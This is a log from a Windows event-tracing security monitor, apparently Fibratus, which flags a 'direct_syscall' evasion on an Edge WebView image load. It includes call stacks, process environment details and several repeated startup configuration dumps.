C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffcdc2712c4 C:\Windows\System32\win32u.dll!NtUserPeekMessage|0x7ffcdd12e0ef C:\Windows\System32\user32.dll!PeekMessageW|0x7ffcdd12e078 C:\Windows\System32\user32.dll!PeekMessageW|0x7ffc8ecbf372 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ecbee69 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8de436f3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e3c759e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e433f73 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f129dd8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec271d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:56:36+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5296256 + Pid: 12272 + Tid: 12280 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:56:35.5519139 +0100 CET + Params: base_address➜ 7ffcd4bf0000, checksum➜ 37972, default_address➜ 7ffcd4bf0000, file_path➜ C:\Program Files\Windows Media Player\OskSupport.dll, image_size➜ 53248, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 12272, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 12272 + Ppid: 10144 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10144.11348.17994709373943217274 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10144.11348.17994709373943217274 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:12272 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_12272_UMOKPYZQSWNHCPXC EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:343 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd15583d C:\Windows\System32\user32.dll!User32InitializeImmEntryTable|0x7ffcdeb45ce4 C:\Windows\System32\ntdll.dll!KiUserCallbackDispatcher|0xfffff804754fcd69 C:\WINDOWS\system32\ntoskrnl.exe!KeUserModeCallback+0x299|0xfffff80420c7f3f5 C:\WINDOWS\System32\win32kfull.sys!DestroySMWP+0x4f5|0xfffff80420c7e4af C:\WINDOWS\System32\win32kfull.sys!NtUserCallNextHookEx+0x3bdf|0xfffff80420c7d87e C:\WINDOWS\System32\win32kfull.sys!NtUserCallNextHookEx+0x2fae|0xfffff80420c7cfaa C:\WINDOWS\System32\win32kfull.sys!NtUserCallNextHookEx+0x26da|0xfffff80420d41b87 C:\WINDOWS\System32\win32kfull.sys!NtGdiGetDCObject+0xd97|0xfffff80420d40fea C:\WINDOWS\System32\win32kfull.sys!NtGdiGetDCObject+0x1fa|0xfffff80420cd2017 C:\WINDOWS\System32\win32kfull.sys!NtUserPeekMessage+0x857|0xfffff80420cd19d6 C:\WINDOWS\System32\win32kfull.sys!NtUserPeekMessage+0x216|0xfffff80420cd18bd C:\WINDOWS\System32\win32kfull.sys!NtUserPeekMessage+0xfd|0xfffff80406901077 C:\WINDOWS\System32\win32k.sys!?|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffcdc2712c4 C:\Windows\System32\win32u.dll!NtUserPeekMessage|0x7ffcdd12e0ef C:\Windows\System32\user32.dll!PeekMessageW|0x7ffcdd12e078 C:\Windows\System32\user32.dll!PeekMessageW|0x7ffc8ecbf372 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ecbee69 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8de436f3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e3c759e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e433f73 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f129dd8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec271d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7bb140137 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe!?|0x7ff7bb13cfb6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe!?|0x7ff7bb1ece32 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:57:29+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T13:57:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:57:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:04:25+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T14:04:25+01:00 level=info msg=bootstrapping with pid 8464. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T14:04:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] enabled=>false port=>25 use-template=>true content-type=>text/html] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-mem=>false enable-fileio=>true buffer-size=>512 enable-thread=>true enable-handle=>false stack-enrichment=>true flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true max-buffers=>36 enable-audit-api=>true enable-image=>true enable-vamap=>true enable-net=>true enable-threadpool=>false enable-dns=>false min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 max-backups=>15 log-stdout=>true formatter=>text level=>info] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ timeout=>5s healthcheck=>true bulk-workers=>1 healthcheck-timeout=>5s index-name=>fibratus template-name=>fibratus flush-period=>1s healthcheck-interval=>10s sniff=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] enabled=>false trace-log=>false] http=>[ serializer=>json tls-insecure-skip-verify=>false endpoints=>[] enabled=>false enable-gzip=>false timeout=>5s method=>POST] eventlog=>[ enabled=>false level=>info] amqp=>[ delivery-mode=>transient exchange=>fibratus passive=>false exchange-type=>topic timeout=>5s tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false enabled=>false vhost=>/ url=>amqp://localhost:5672]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true excluded-files=>[] excluded-procs=>[] scan-timeout=>10s enabled=>false skip-registry=>false skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T14:04:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:04:27+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:04:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T14:04:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:04:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:18:38+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T14:18:38+01:00 level=info msg=bootstrapping with pid 8244. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T14:18:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false use-template=>true to=>[] content-type=>text/html port=>25] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-image=>true enable-net=>true max-buffers=>36 buffer-size=>512 enable-dns=>false enable-audit-api=>true enable-threadpool=>false enable-mem=>false enable-handle=>false flush-interval=>1s enable-registry=>true enable-vamap=>true enable-thread=>true enable-fileio=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true max-backups=>15 max-age=>0 max-size=>100 level=>info] + output ......................... [ http=>[ method=>POST serializer=>json enabled=>false enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ url=>amqp://localhost:5672 enabled=>false tls-insecure-skip-verify=>false timeout=>5s delivery-mode=>transient exchange-type=>topic vhost=>/ exchange=>fibratus durable=>false passive=>false routing-key=>fibratus] elasticsearch=>[ index-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 sniff=>false template-name=>fibratus flush-period=>1s healthcheck=>true timeout=>5s enabled=>false trace-log=>false gzip-compression=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200]]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] fastscan=>true skip-mmaps=>false enabled=>false excluded-procs=>[] skip-registry=>false skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T14:18:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:18:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:18:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T14:18:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:18:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:19:07+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T14:19:07+01:00 level=info msg=bootstrapping with pid 16408. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T14:19:07+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 use-template=>true enabled=>false to=>[]] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ flush-interval=>1s stack-enrichment=>true enable-registry=>true enable-threadpool=>false enable-dns=>false enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-mem=>false min-buffers=>16 enable-handle=>false enable-net=>true enable-thread=>true enable-vamap=>true buffer-size=>512 enable-image=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text max-age=>0 log-stdout=>true max-size=>100 max-backups=>15] + output ......................... [ amqp=>[ timeout=>5s url=>amqp://localhost:5672 tls-insecure-skip-verify=>false passive=>false routing-key=>fibratus vhost=>/ exchange=>fibratus durable=>false exchange-type=>topic enabled=>false delivery-mode=>transient] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ index-name=>fibratus servers=>[http://127.0.0.1:9200] sniff=>false enabled=>false bulk-workers=>1 trace-log=>false healthcheck=>true template-name=>fibratus healthcheck-interval=>10s healthcheck-timeout=>5s flush-period=>1s gzip-compression=>false timeout=>5s] http=>[ enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] method=>POST enabled=>false serializer=>json]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-resources=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-files=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s excluded-procs=>[] skip-mmaps=>false enabled=>false fastscan=>true skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T14:19:07+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:19:09+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:19:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T14:19:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:19:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:19:48+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T14:19:48+01:00 level=info msg=bootstrapping with pid 10200. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T14:19:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ enabled=>false content-type=>text/html use-template=>true port=>25 to=>[]] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-fileio=>true enable-image=>true enable-threadpool=>false flush-interval=>1s stack-enrichment=>true enable-thread=>true enable-vamap=>true enable-mem=>false enable-audit-api=>true enable-dns=>false min-buffers=>16 enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 max-buffers=>36 enable-net=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-size=>100 level=>info formatter=>text max-backups=>15] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] http=>[ tls-insecure-skip-verify=>false endpoints=>[] method=>POST enable-gzip=>false enabled=>false timeout=>5s serializer=>json] elasticsearch=>[ timeout=>5s template-name=>fibratus trace-log=>false sniff=>false enabled=>false gzip-compression=>false bulk-workers=>1 healthcheck=>true healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s index-name=>fibratus flush-period=>1s] eventlog=>[ level=>info enabled=>false] amqp=>[ timeout=>5s delivery-mode=>transient url=>amqp://localhost:5672 exchange=>fibratus routing-key=>fibratus vhost=>/ passive=>false durable=>false tls-insecure-skip-verify=>false enabled=>false exchange-type=>topic]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols 